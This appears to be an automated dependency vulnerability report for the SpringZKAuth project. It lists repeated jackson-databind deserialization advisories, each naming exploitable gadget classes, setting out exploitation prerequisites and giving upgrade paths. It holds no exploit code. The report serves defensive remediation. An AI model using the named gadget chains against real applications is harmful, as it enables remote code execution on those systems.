Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Mishandles the interaction between serialization gadgets and typing, related to:

  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap)
  • br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core)
  • org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig (aka shaded hikari-config)

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.6, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525). It doesn't block common-configuration JNDI classes org.apache.commons.configuration.JNDIConfiguration and org.apache.commons.configuration2.JNDIConfiguration.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.8.11.5, 2.9.10.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.caucho.config.types.ResourceRef (aka caucho-quercus).

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory (aka aries.transaction.jms).

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to gadget javax.swing.JEditorPane.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.6, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to gadget org.aoju.bus.proxy.provider.remoting.RmiProvider (aka bus-proxy).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadget org.apache.openjpa.ee.WASRegistryManagedRuntime (aka openjpa).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadgets org.apache.activemq.* (aka activemq-jms, activemq-core, activemq-pool, and activemq-pool-jms).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadget org.apache.commons.proxy.provider.remoting.RmiProvider (aka apache/commons-proxy).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.jelly.impl.Embedded (aka commons-jelly).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.springframework.aop.config.MethodLocatingFactoryBean (aka spring-aop).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using the com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (xalan2) class gadget if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

